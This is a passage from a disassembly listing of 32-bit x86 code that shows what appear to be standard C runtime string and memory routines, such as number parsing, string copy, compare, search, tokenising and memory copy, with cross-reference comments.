loc_41BD2E:				; CODE XREF: sub_41BBBD+125j
					; sub_41BBBD+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_41BD4C
		test	edx, edx
		jz	short loc_41BD46
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax

loc_41BD46:				; CODE XREF: sub_41BBBD+181j
		and	[ebp+var_8], 0
		jmp	short loc_41BD99
; ---------------------------------------------------------------------------

loc_41BD4C:				; CODE XREF: sub_41BBBD+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_41BD72
		test	cl, 1
		jnz	short loc_41BD99
		and	ecx, 2
		jz	short loc_41BD69
		cmp	[ebp+var_8], 80000000h
		ja	short loc_41BD72

loc_41BD69:				; CODE XREF: sub_41BBBD+1A1j
		test	ecx, ecx
		jnz	short loc_41BD99
		cmp	[ebp+var_8], eax
		jbe	short loc_41BD99

loc_41BD72:				; CODE XREF: sub_41BBBD+197j
					; sub_41BBBD+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4DB2A8, 22h
		jz	short loc_41BD88
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41BD99
; ---------------------------------------------------------------------------

loc_41BD88:				; CODE XREF: sub_41BBBD+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx

loc_41BD99:				; CODE XREF: sub_41BBBD+18Dj
					; sub_41BBBD+19Cj ...
		test	edx, edx
		jz	short loc_41BDA2
		mov	eax, [ebp+var_4]
		mov	[edx], eax

loc_41BDA2:				; CODE XREF: sub_41BBBD+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_41BDB0
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax

loc_41BDB0:				; CODE XREF: sub_41BBBD+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_41BDC0
; ---------------------------------------------------------------------------

loc_41BDB5:				; CODE XREF: sub_41BBBD+66j
					; sub_41BBBD+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BDBE
		mov	[eax], edi

loc_41BDBE:				; CODE XREF: sub_41BBBD+1FDj
		xor	eax, eax

loc_41BDC0:				; CODE XREF: sub_41BBBD+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BBBD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDC5	proc near		; CODE XREF: sub_401ACD+61CEp
					; sub_401ACD+6A0Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BBBD
		add	esp, 10h
		retn
sub_41BDC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDDC	proc near		; CODE XREF: sub_401ACD+5980p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	near ptr 2670230h
		nop
		test	eax, eax
		jnz	short loc_41BDF2
		nop
		call	near ptr 2670914h
		jmp	short loc_41BDF4
; ---------------------------------------------------------------------------

loc_41BDF2:				; CODE XREF: sub_41BDDC+Cj
		xor	eax, eax

loc_41BDF4:				; CODE XREF: sub_41BDDC+14j
		test	eax, eax
		jz	short loc_41BE03
		push	eax
		call	sub_4203DF
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_41BE03:				; CODE XREF: sub_41BDDC+1Aj
		xor	eax, eax
		retn
sub_41BDDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE06	proc near		; CODE XREF: sub_401ACD+58D2p
					; ___:00411CA1p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420446
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41F69F
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_4204D3
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41BE06	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE40	proc near		; CODE XREF: sub_401ACD+1E81p
					; sub_401ACD+1EA0p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_41BE61
		xor	eax, eax
		jmp	short loc_41BE63
; ---------------------------------------------------------------------------

loc_41BE61:				; CODE XREF: sub_41BE40+1Bj
		mov	eax, edi

loc_41BE63:				; CODE XREF: sub_41BE40+1Fj
		cld
		pop	edi
		leave
		retn
sub_41BE40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE70	proc near		; CODE XREF: sub_401ACD+870p
					; ___:0041DD1Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_41BEA1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41BE9F
		jz	short loc_41BEA1
		dec	ecx
		dec	ecx

loc_41BE9F:				; CODE XREF: sub_41BE70+29j
		not	ecx

loc_41BEA1:				; CODE XREF: sub_41BE70+9j
					; sub_41BE70+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41BE70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BEB0	proc near		; CODE XREF: sub_401ACD+42Fp
					; sub_401ACD+2FFCp ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41BF21
sub_41BEB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BEC0	proc near		; CODE XREF: sub_401ACD+438p
					; sub_401ACD+75FEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41BEDC

loc_41BECD:				; CODE XREF: sub_41BEC0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41BF0F
		test	ecx, 3
		jnz	short loc_41BECD

loc_41BEDC:				; CODE XREF: sub_41BEC0+Bj
					; sub_41BEC0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BEDC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41BF1E
		test	ah, ah
		jz	short loc_41BF19
		test	eax, 0FF0000h
		jz	short loc_41BF14
		test	eax, 0FF000000h
		jz	short loc_41BF0F
		jmp	short loc_41BEDC
; ---------------------------------------------------------------------------

loc_41BF0F:				; CODE XREF: sub_41BEC0+12j
					; sub_41BEC0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------

loc_41BF14:				; CODE XREF: sub_41BEC0+44j
		lea	edi, [ecx-2]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------

loc_41BF19:				; CODE XREF: sub_41BEC0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------

loc_41BF1E:				; CODE XREF: sub_41BEC0+39j
		lea	edi, [ecx-4]

loc_41BF21:				; CODE XREF: sub_41BEB0+5j
					; sub_41BEC0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41BF46

loc_41BF2D:				; CODE XREF: sub_41BEC0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_41BF98
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41BF2D
		jmp	short loc_41BF46
; ---------------------------------------------------------------------------

loc_41BF41:				; CODE XREF: sub_41BEC0+9Ej
					; sub_41BEC0+B8j
		mov	[edi], edx
		add	edi, 4

loc_41BF46:				; CODE XREF: sub_41BEC0+6Bj
					; sub_41BEC0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BF41
		test	dl, dl
		jz	short loc_41BF98
		test	dh, dh
		jz	short loc_41BF8F
		test	edx, 0FF0000h
		jz	short loc_41BF82
		test	edx, 0FF000000h
		jz	short loc_41BF7A
		jmp	short loc_41BF41
; ---------------------------------------------------------------------------

loc_41BF7A:				; CODE XREF: sub_41BEC0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41BF82:				; CODE XREF: sub_41BEC0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41BF8F:				; CODE XREF: sub_41BEC0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41BF98:				; CODE XREF: sub_41BEC0+72j
					; sub_41BEC0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_41BEC0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41BFB0

loc_41BFA0:				; CODE XREF: sub_41BFB0+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_41BFB0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BFB0	proc near		; CODE XREF: sub_401ACD+414p
					; sub_401ACD+4C3p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0041BFA0 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]

loc_41BFB6:				; CODE XREF: sub_41B900+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41BFDB

loc_41BFC8:				; CODE XREF: sub_41BFB0+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_41BFA0
		test	cl, cl
		jz	short loc_41C024
		test	edx, 3
		jnz	short loc_41BFC8

loc_41BFDB:				; CODE XREF: sub_41BFB0+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax

loc_41BFE6:				; CODE XREF: sub_41BFB0+61j
					; sub_41BFB0+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_41C028
		and	eax, 81010100h
		jz	short loc_41BFE6
		and	eax, 1010100h
		jnz	short loc_41C022
		and	esi, 80000000h
		jnz	short loc_41BFE6

loc_41C022:				; CODE XREF: sub_41BFB0+68j
					; sub_41BFB0+81j ...
		pop	esi
		pop	edi

loc_41C024:				; CODE XREF: sub_41BFB0+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41C028:				; CODE XREF: sub_41BFB0+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_41C065
		test	al, al
		jz	short loc_41C022
		cmp	ah, bl
		jz	short loc_41C05E
		test	ah, ah
		jz	short loc_41C022
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_41C057
		test	al, al
		jz	short loc_41C022
		cmp	ah, bl
		jz	short loc_41C050
		test	ah, ah
		jz	short loc_41C022
		jmp	short loc_41BFE6
; ---------------------------------------------------------------------------

loc_41C050:				; CODE XREF: sub_41BFB0+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_41C057:				; CODE XREF: sub_41BFB0+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_41C05E:				; CODE XREF: sub_41BFB0+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_41C065:				; CODE XREF: sub_41BFB0+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_41BFB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C070	proc near		; CODE XREF: sub_401ACD+1AEp
					; sub_401ACD+205p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41C0BC

loc_41C080:				; CODE XREF: sub_41C070+3Cj
					; sub_41C070+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+1]
		jnz	short loc_41C0B4
		or	ah, ah
		jz	short loc_41C0B0
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+3]
		jnz	short loc_41C0B4
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41C080
		mov	edi, edi

loc_41C0B0:				; CODE XREF: sub_41C070+18j
					; sub_41C070+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C0B4:				; CODE XREF: sub_41C070+14j
					; sub_41C070+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C0BC:				; CODE XREF: sub_41C070+Ej
		test	edx, 1
		jz	short loc_41C0D8
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		inc	ecx
		or	al, al
		jz	short loc_41C0B0
		test	edx, 2
		jz	short loc_41C080

loc_41C0D8:				; CODE XREF: sub_41C070+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+1]
		jnz	short loc_41C0B4
		or	ah, ah
		jz	short loc_41C0B0
		add	ecx, 2
		jmp	short loc_41C080
sub_41C070	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C0F4	proc near		; CODE XREF: sub_401ACD+B5p
					; sub_401ACD+D5p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi

loc_41C10D:				; CODE XREF: sub_41C0F4+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_41C10D
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_41C135
		mov	edx, dword_4DB2F4

loc_41C135:				; CODE XREF: sub_41C0F4+39j
					; sub_41C0F4+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_41C155
		test	al, al
		jz	short loc_41C155
		inc	edx
		jmp	short loc_41C135
; ---------------------------------------------------------------------------

loc_41C155:				; CODE XREF: sub_41C0F4+58j
					; sub_41C0F4+5Cj
		mov	ebx, edx

loc_41C157:				; CODE XREF: sub_41C0F4+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_41C17B
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_41C177
		inc	edx
		jmp	short loc_41C157
; ---------------------------------------------------------------------------

loc_41C177:				; CODE XREF: sub_41C0F4+7Ej
		and	byte ptr [edx],	0
		inc	edx

loc_41C17B:				; CODE XREF: sub_41C0F4+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4DB2F4, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_41C0F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C190	proc near		; CODE XREF: sub_409A2C+1Cp
					; sub_415220+19p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C1CE
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C1DB
; ---------------------------------------------------------------------------

loc_41C1CE:				; CODE XREF: sub_41C190+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx

loc_41C1DB:				; CODE XREF: sub_41C190+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C190	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1E0	proc near		; CODE XREF: sub_40AFEA+88p
					; sub_40B64A+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_41C294
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41C20A

loc_41C1FB:				; CODE XREF: sub_41C1E0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41C23B
		test	edi, 3
		jnz	short loc_41C1FB

loc_41C20A:				; CODE XREF: sub_41C1E0+19j
					; sub_41C1E0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41C20A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_41C248
		test	ah, ah
		jz	short loc_41C243
		test	eax, 0FF0000h
		jz	short loc_41C23E
		test	eax, 0FF000000h
		jnz	short loc_41C20A

loc_41C23B:				; CODE XREF: sub_41C1E0+20j
		dec	edi
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------

loc_41C23E:				; CODE XREF: sub_41C1E0+52j
		sub	edi, 2
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------

loc_41C243:				; CODE XREF: sub_41C1E0+4Bj
		sub	edi, 3
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------

loc_41C248:				; CODE XREF: sub_41C1E0+47j
		sub	edi, 4

loc_41C24B:				; CODE XREF: sub_41C1E0+5Cj
					; sub_41C1E0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_41C260
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C2AC
		jmp	short loc_41C27C
; ---------------------------------------------------------------------------

loc_41C260:				; CODE XREF: sub_41C1E0+75j
					; sub_41C1E0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41C29A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_41C290
		test	esi, 3
		jnz	short loc_41C260
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C2AC

loc_41C27C:				; CODE XREF: sub_41C1E0+7Ej
					; sub_41C1E0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_41C290

loc_41C283:				; CODE XREF: sub_41C1E0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_41C292
		dec	ecx
		jnz	short loc_41C283

loc_41C290:				; CODE XREF: sub_41C1E0+8Bj
					; sub_41C1E0+A1j
		mov	[edi], cl

loc_41C292:				; CODE XREF: sub_41C1E0+ABj
		pop	ebx
		pop	esi

loc_41C294:				; CODE XREF: sub_41C1E0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41C29A:				; CODE XREF: sub_41C1E0+85j
					; sub_41C1E0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41C2A4:				; CODE XREF: sub_41C1E0+E4j
					; sub_41C1E0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41C27C

loc_41C2AC:				; CODE XREF: sub_41C1E0+7Cj
					; sub_41C1E0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41C2A4
		test	dl, dl
		jz	short loc_41C29A
		test	dh, dh
		jz	short loc_41C2F8
		test	edx, 0FF0000h
		jz	short loc_41C2E8
		test	edx, 0FF000000h
		jnz	short loc_41C2A4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41C2E8:				; CODE XREF: sub_41C1E0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41C2F8:				; CODE XREF: sub_41C1E0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41C1E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C310	proc near		; CODE XREF: sub_40BFA3+15p
					; sub_40BFA3+3Bp ...

var_3A3BFFC0	= byte ptr -3A3BFFC0h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41C330
		cmp	edi, eax
		jb	loc_41C4A8

loc_41C330:				; CODE XREF: sub_41C310+16j
		test	edi, 3
		jnz	short loc_41C34C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------

loc_41C34C:				; CODE XREF: sub_41C310+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41C364
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41C36C+4[eax*4]
; ---------------------------------------------------------------------------

loc_41C364:				; CODE XREF: sub_41C310+46j
		jmp	dword ptr loc_41C468[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41C36C:				; CODE XREF: sub_41C310+31j
					; sub_41C310+8Ej ...
		jmp	off_41C3EC[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41C380
; ---------------------------------------------------------------------------
		lodsb
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, dl
		retn
; ---------------------------------------------------------------------------
		dw 41h
; ---------------------------------------------------------------------------

loc_41C380:				; DATA XREF: sub_41C310+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C3EC	dd offset loc_41C44F	; DATA XREF: sub_41C310:loc_41C36Cr
		dd offset loc_41C43C
		dd offset loc_41C434
		dd offset loc_41C42C
		dd offset loc_41C424
		dd offset loc_41C41C
		dd offset loc_41C414
		dd offset loc_41C40C
; ---------------------------------------------------------------------------

loc_41C40C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax

loc_41C414:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax

loc_41C41C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax

loc_41C424:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax

loc_41C42C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax

loc_41C434:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax

loc_41C43C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_41C44F:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310:off_41C3ECo
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C458	dd offset loc_41C468	; DATA XREF: sub_41C310+35r
					; sub_41C310+92r ...
		dd offset loc_41C470
		dd offset loc_41C47C
		dd offset loc_41C490
; ---------------------------------------------------------------------------

loc_41C468:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_41C470:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C47C:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_41C490:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C4A8:				; CODE XREF: sub_41C310+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41C4DC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
